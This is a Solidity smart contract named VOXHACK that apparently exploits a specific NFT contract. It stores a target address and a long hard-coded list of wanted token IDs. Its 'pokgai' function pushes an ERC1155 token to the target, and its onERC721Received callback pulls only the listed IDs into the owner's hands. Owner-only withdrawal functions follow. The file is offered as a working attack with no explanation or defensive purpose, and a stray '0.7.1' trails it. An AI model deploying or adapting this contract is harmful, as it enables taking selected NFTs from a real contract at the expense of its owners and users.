// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; contract VOXHACK is Ownable, IERC721Receiver { mapping(uint256 => bool) internal voxIds; address target; constructor(address addr) { target = addr; voxIds[22] = true; voxIds[33] = true; voxIds[63] = true; voxIds[84] = true; voxIds[93] = true; voxIds[100] = true; voxIds[110] = true; voxIds[128] = true; voxIds[132] = true; voxIds[142] = true; voxIds[161] = true; voxIds[162] = true; voxIds[175] = true; voxIds[177] = true; voxIds[224] = true; voxIds[233] = true; voxIds[247] = true; voxIds[255] = true; voxIds[260] = true; voxIds[263] = true; voxIds[268] = true; voxIds[271] = true; voxIds[282] = true; voxIds[289] = true; voxIds[304] = true; voxIds[310] = true; voxIds[322] = true; voxIds[333] = true; voxIds[337] = true; voxIds[346] = true; voxIds[380] = true; voxIds[403] = true; voxIds[421] = true; voxIds[445] = true; voxIds[456] = true; voxIds[469] = true; voxIds[556] = true; voxIds[586] = true; voxIds[602] = true; voxIds[606] = true; voxIds[654] = true; voxIds[684] = true; voxIds[704] = true; voxIds[772] = true; voxIds[776] = true; voxIds[801] = true; voxIds[828] = true; voxIds[829] = true; voxIds[834] = true; voxIds[844] = true; voxIds[852] = true; voxIds[855] = true; voxIds[856] = true; voxIds[880] = true; voxIds[899] = true; voxIds[900] = true; voxIds[907] = true; voxIds[919] = true; voxIds[956] = true; voxIds[988] = true; voxIds[1008] = true; voxIds[1014] = true; voxIds[1024] = true; voxIds[1059] = true; voxIds[1075] = true; voxIds[1102] = true; voxIds[1117] = true; voxIds[1121] = true; voxIds[1127] = true; voxIds[1129] = true; voxIds[1139] = true; voxIds[1165] = true; voxIds[1169] = true; voxIds[1195] = true; voxIds[1196] = true; voxIds[1206] = true; voxIds[1207] = true; voxIds[1213] = true; voxIds[1280] = true; voxIds[1348] = true; voxIds[1394] = true; voxIds[1423] = true; voxIds[1430] = true; voxIds[1436] = true; voxIds[1454] = true; voxIds[1480] = true; voxIds[1494] = true; voxIds[1511] = true; voxIds[1538] = true; voxIds[1549] = true; voxIds[1559] = true; voxIds[1586] = true; voxIds[1593] = true; voxIds[1720] = true; voxIds[1753] = true; voxIds[1769] = true; voxIds[1782] = true; voxIds[1787] = true; voxIds[1801] = true; voxIds[1826] = true; voxIds[1831] = true; voxIds[1839] = true; voxIds[1847] = true; voxIds[1864] = true; voxIds[1899] = true; voxIds[1911] = true; voxIds[2016] = true; voxIds[2056] = true; voxIds[2069] = true; voxIds[2117] = true; voxIds[2154] = true; voxIds[2158] = true; voxIds[2193] = true; voxIds[2199] = true; voxIds[2205] = true; voxIds[2206] = true; voxIds[2248] = true; voxIds[2277] = true; voxIds[2301] = true; voxIds[2318] = true; voxIds[2326] = true; voxIds[2336] = true; voxIds[2342] = true; voxIds[2361] = true; voxIds[2362] = true; voxIds[2414] = true; voxIds[2461] = true; voxIds[2514] = true; voxIds[2519] = true; voxIds[2521] = true; voxIds[2527] = true; voxIds[2558] = true; voxIds[2575] = true; voxIds[2577] = true; voxIds[2612] = true; voxIds[2623] = true; voxIds[2629] = true; voxIds[2637] = true; voxIds[2641] = true; voxIds[2660] = true; voxIds[2664] = true; voxIds[2693] = true; voxIds[2731] = true; voxIds[2738] = true; voxIds[2755] = true; voxIds[2782] = true; voxIds[2821] = true; voxIds[2862] = true; voxIds[2863] = true; voxIds[2878] = true; voxIds[2908] = true; voxIds[2916] = true; voxIds[2928] = true; voxIds[2937] = true; voxIds[2943] = true; voxIds[2967] = true; voxIds[3004] = true; voxIds[3022] = true; voxIds[3052] = true; voxIds[3058] = true; voxIds[3072] = true; voxIds[3138] = true; voxIds[3142] = true; voxIds[3148] = true; voxIds[3155] = true; voxIds[3170] = true; voxIds[3189] = true; voxIds[3234] = true; voxIds[3239] = true; voxIds[3255] = true; voxIds[3263] = true; voxIds[3264] = true; voxIds[3280] = true; voxIds[3294] = true; voxIds[3306] = true; voxIds[3310] = true; voxIds[3313] = true; voxIds[3314] = true; voxIds[3323] = true; voxIds[3334] = true; voxIds[3366] = true; voxIds[3385] = true; voxIds[3413] = true; voxIds[3420] = true; voxIds[3440] = true; voxIds[3459] = true; voxIds[3469] = true; voxIds[3514] = true; voxIds[3548] = true; voxIds[3552] = true; voxIds[3563] = true; voxIds[3588] = true; voxIds[3591] = true; voxIds[3605] = true; voxIds[3606] = true; voxIds[3648] = true; voxIds[3680] = true; voxIds[3684] = true; voxIds[3693] = true; voxIds[3699] = true; voxIds[3710] = true; voxIds[3715] = true; voxIds[3738] = true; voxIds[3764] = true; voxIds[3771] = true; voxIds[3781] = true; voxIds[3801] = true; voxIds[3806] = true; voxIds[3827] = true; voxIds[3840] = true; voxIds[3865] = true; voxIds[3876] = true; voxIds[3881] = true; voxIds[3889] = true; voxIds[3893] = true; voxIds[3931] = true; voxIds[3942] = true; voxIds[3964] = true; voxIds[3968] = true; voxIds[3994] = true; voxIds[4022] = true; voxIds[4026] = true; voxIds[4054] = true; voxIds[4073] = true; voxIds[4136] = true; voxIds[4192] = true; voxIds[4198] = true; voxIds[4208] = true; voxIds[4263] = true; voxIds[4269] = true; voxIds[4287] = true; voxIds[4306] = true; voxIds[4311] = true; voxIds[4314] = true; voxIds[4332] = true; voxIds[4380] = true; voxIds[4397] = true; voxIds[4399] = true; voxIds[4445] = true; voxIds[4457] = true; voxIds[4512] = true; voxIds[4555] = true; voxIds[4558] = true; voxIds[4621] = true; voxIds[4660] = true; voxIds[4687] = true; voxIds[4692] = true; voxIds[4695] = true; voxIds[4739] = true; voxIds[4774] = true; voxIds[4780] = true; voxIds[4824] = true; voxIds[4828] = true; voxIds[4835] = true; voxIds[4881] = true; voxIds[4947] = true; voxIds[4986] = true; voxIds[5001] = true; voxIds[5014] = true; voxIds[5023] = true; voxIds[5274] = true; voxIds[5287] = true; voxIds[5292] = true; voxIds[5309] = true; voxIds[5332] = true; voxIds[5346] = true; voxIds[5348] = true; voxIds[5360] = true; voxIds[5383] = true; voxIds[5384] = true; voxIds[5389] = true; voxIds[5391] = true; voxIds[5399] = true; voxIds[5402] = true; voxIds[5416] = true; voxIds[5436] = true; voxIds[5444] = true; voxIds[5478] = true; voxIds[5519] = true; voxIds[5537] = true; voxIds[5540] = true; voxIds[5028] = true; voxIds[5050] = true; voxIds[5062] = true; voxIds[5077] = true; voxIds[5093] = true; voxIds[5100] = true; voxIds[5141] = true; voxIds[5156] = true; voxIds[5211] = true; voxIds[5213] = true; voxIds[5221] = true; voxIds[5223] = true; voxIds[5230] = true; voxIds[5234] = true; voxIds[5257] = true; voxIds[5595] = true; voxIds[5652] = true; voxIds[5659] = true; voxIds[5678] = true; voxIds[5685] = true; voxIds[5687] = true; voxIds[5720] = true; voxIds[5729] = true; voxIds[5739] = true; voxIds[5748] = true; voxIds[5770] = true; voxIds[5805] = true; voxIds[5822] = true; voxIds[5825] = true; voxIds[5876] = true; voxIds[5898] = true; voxIds[5935] = true; voxIds[5945] = true; voxIds[5949] = true; voxIds[5976] = true; voxIds[5992] = true; voxIds[6008] = true; voxIds[6010] = true; voxIds[6017] = true; voxIds[6035] = true; voxIds[6040] = true; voxIds[6061] = true; voxIds[6068] = true; voxIds[6144] = true; voxIds[6164] = true; voxIds[6184] = true; voxIds[6196] = true; voxIds[6271] = true; voxIds[6314] = true; voxIds[6318] = true; voxIds[6323] = true; voxIds[6337] = true; voxIds[6362] = true; voxIds[6389] = true; voxIds[6391] = true; voxIds[6420] = true; voxIds[6422] = true; voxIds[6431] = true; voxIds[6501] = true; voxIds[6529] = true; voxIds[6538] = true; voxIds[6559] = true; voxIds[6576] = true; voxIds[6586] = true; voxIds[6591] = true; voxIds[6633] = true; voxIds[6646] = true; voxIds[6648] = true; voxIds[6650] = true; voxIds[6675] = true; voxIds[6677] = true; voxIds[6707] = true; voxIds[6723] = true; voxIds[6777] = true; voxIds[6786] = true; voxIds[6787] = true; voxIds[6812] = true; voxIds[6825] = true; voxIds[6844] = true; voxIds[7012] = true; voxIds[7020] = true; voxIds[7034] = true; voxIds[7050] = true; voxIds[7057] = true; voxIds[7073] = true; voxIds[7116] = true; voxIds[7133] = true; voxIds[7155] = true; voxIds[7216] = true; voxIds[7277] = true; voxIds[7302] = true; voxIds[7335] = true; voxIds[7344] = true; voxIds[7374] = true; voxIds[7375] = true; voxIds[7412] = true; voxIds[7416] = true; voxIds[7426] = true; voxIds[7438] = true; voxIds[7440] = true; voxIds[7453] = true; voxIds[7457] = true; voxIds[7464] = true; voxIds[7470] = true; voxIds[7482] = true; voxIds[7509] = true; voxIds[7546] = true; voxIds[7551] = true; voxIds[7568] = true; voxIds[7580] = true; voxIds[7581] = true; voxIds[7582] = true; voxIds[7585] = true; voxIds[7586] = true; voxIds[7608] = true; voxIds[7626] = true; voxIds[7671] = true; voxIds[7696] = true; voxIds[7703] = true; voxIds[7720] = true; voxIds[7777] = true; voxIds[7796] = true; voxIds[7852] = true; voxIds[7862] = true; voxIds[7904] = true; voxIds[7943] = true; voxIds[7947] = true; voxIds[7965] = true; voxIds[8107] = true; voxIds[8128] = true; voxIds[8165] = true; voxIds[8182] = true; voxIds[8263] = true; voxIds[8271] = true; voxIds[8280] = true; voxIds[8283] = true; voxIds[8284] = true; voxIds[8313] = true; voxIds[8329] = true; voxIds[8330] = true; voxIds[8357] = true; voxIds[8371] = true; voxIds[8378] = true; voxIds[8403] = true; voxIds[8465] = true; voxIds[8480] = true; voxIds[8488] = true; voxIds[8495] = true; voxIds[8509] = true; voxIds[8548] = true; voxIds[8554] = true; voxIds[8573] = true; voxIds[8577] = true; voxIds[8595] = true; voxIds[8597] = true; voxIds[8610] = true; voxIds[8653] = true; voxIds[8681] = true; voxIds[8688] = true; voxIds[8696] = true; voxIds[8703] = true; voxIds[8704] = true; voxIds[8741] = true; voxIds[8770] = true; voxIds[8772] = true; voxIds[8779] = true; voxIds[8804] = true; voxIds[8851] = true; voxIds[8855] = true; voxIds[8857] = true; } function pokgai( IERC1155 token, uint256 tokenId ) external payable onlyOwner { token.safeTransferFrom(msg.sender, address(this), tokenId, 1, ""); token.safeTransferFrom(address(this), target, tokenId, 1, ""); } function withdrawBalance(address to) external onlyOwner { (bool success, ) = to.call{value: address(this).balance}(""); require(success, "BALANCE_TRANSFER_FAILURE"); } function withdrawERC721( IERC721 token, address receiver, uint256 tokenId ) external onlyOwner { token.transferFrom(address(this), receiver, tokenId); } function withdrawERC1155( IERC1155 token, address receiver, uint256 tokenId ) external onlyOwner { token.safeTransferFrom(address(this), receiver, tokenId, 1, ""); } function onERC721Received( address operator, address, uint256 tokenId, bytes memory ) public virtual override returns (bytes4) { IERC721 sender = IERC721(msg.sender); require (voxIds[tokenId]); sender.transferFrom(operator, owner(), tokenId); return this.onERC721Received.selector; } }
0.7.1